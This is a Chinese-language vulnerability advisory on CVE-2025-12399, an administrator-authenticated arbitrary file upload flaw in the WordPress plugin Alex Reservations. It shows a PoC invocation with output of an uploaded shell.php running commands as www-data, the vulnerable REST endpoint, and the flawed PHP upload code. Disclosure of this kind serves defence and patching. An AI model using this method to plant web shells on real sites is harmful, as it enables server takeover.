Alex Reservations: 智能餐厅预订 <= 2.2.3 - 已认证（管理员+）任意文件上传

WordPress 的 Alex Reservations 插件（2.2.3 及更早版本）存在一个任意文件上传漏洞，允许已认证的 WordPress 管理员将恶意 PHP 文件上传到服务器，可能导致远程代码执行。

TL;DR 漏洞利用

提供了一个 POC CVE-2025-12399.py，用于演示远程攻击者上传 shell.php 并执行远程代码：

python3 ./CVE-2025-12399.py https://TARGETSITE.com admin "$PASSWORD"                                                                                            
[+] Target: http://TARGETSITE.com
[+] Username: admin
[+] Nonce obtained: 022b25d0a5
[+] File uploaded successfully!
[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

技术描述

该漏洞存在于 /wp-json/srr/v1/app/upload/file 端点的 UploadFileController.php 文件中。上传功能缺乏适当的文件验证，仅通过正则表达式进行基本的文件名清理。这使得已认证的 WordPress 管理员能够上传任意文件，包括可在服务器上执行的 PHP 文件。

攻击路径分析

来源：来自 $_FILES['file'] 的用户输入（第 13 行） 汇聚点：copy($file['tmp_name'], $target_dir_file)（第 38 行）

该漏洞的产生原因如下：

路由注册：上传端点在 routes.php 中注册。
控制器访问：UploadFileController 继承自基础 Controller。
输入处理：来自 $_FILES['file'] 的用户可控文件数据未经验证即被直接处理。
文件处理：仅使用正则表达式进行基本的文件名清理：preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name)（第 50 行）
文件存储：文件被保存到 wp-content/uploads/alexr-uploads/YYYY/MM/，未进行 MIME 类型验证，也无文件扩展名限制。

漏洞代码位置

文件：includes/application/Alexr/Http/Controllers/UploadFileController.php 行号：11-53

public function upload(Request $request)
{
    $file = $_FILES['file'];  // SOURCE: User input ([line 13](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L13))
    
    // Target dir / url
    $upload_dir = wp_upload_dir();
    $date = evavel_date_now()->format('Y/m');
    $base_dir = $upload_dir['basedir'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;
    $base_url = $upload_dir['baseurl'].'/'.ALEXR_UPLOAD_FOLDER.'/'.$date;

    if (!file_exists($base_dir)) {
        $folder_created = wp_mkdir_p($base_dir);
        if (!$folder_created) {
            return $this->response([
                'success' => false,
                'error' => __eva('Error creating folder.')
            ]);
        }
    }

    $file_name = $file['name'];
    $file_name = preg_replace('/[^a-z0-9_\.\-[:space:]]/i', '_', $file_name);  // Only basic sanitization ([line 50](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L50))

    $target_dir_file = $base_dir.'/'.$file_name;
    $target_url_file = $base_url.'/'.$file_name;

    $result = copy($file['tmp_name'], $target_dir_file);  // SINK: Direct file copy ([line 38](https://plugins.trac.wordpress.org/browser/alex-reservations/trunk/includes/application/Alexr/Http/Controllers/UploadFileController.php#L38))

    if (!$result) {
        return $this->response([
            'success' => false,
            'error' => __eva('Error saving file.')
        ]);
    }

    return $this->response([
        'success' => true,
        'file_path' => $target_dir_file,
        'file_url' => $target_url_file,
        'message' => __eva('Uploaded.')
    ]);
}

CVE-2025-12399

最受欢迎

TL;DR 漏洞利用

技术描述

攻击路径分析

漏洞代码位置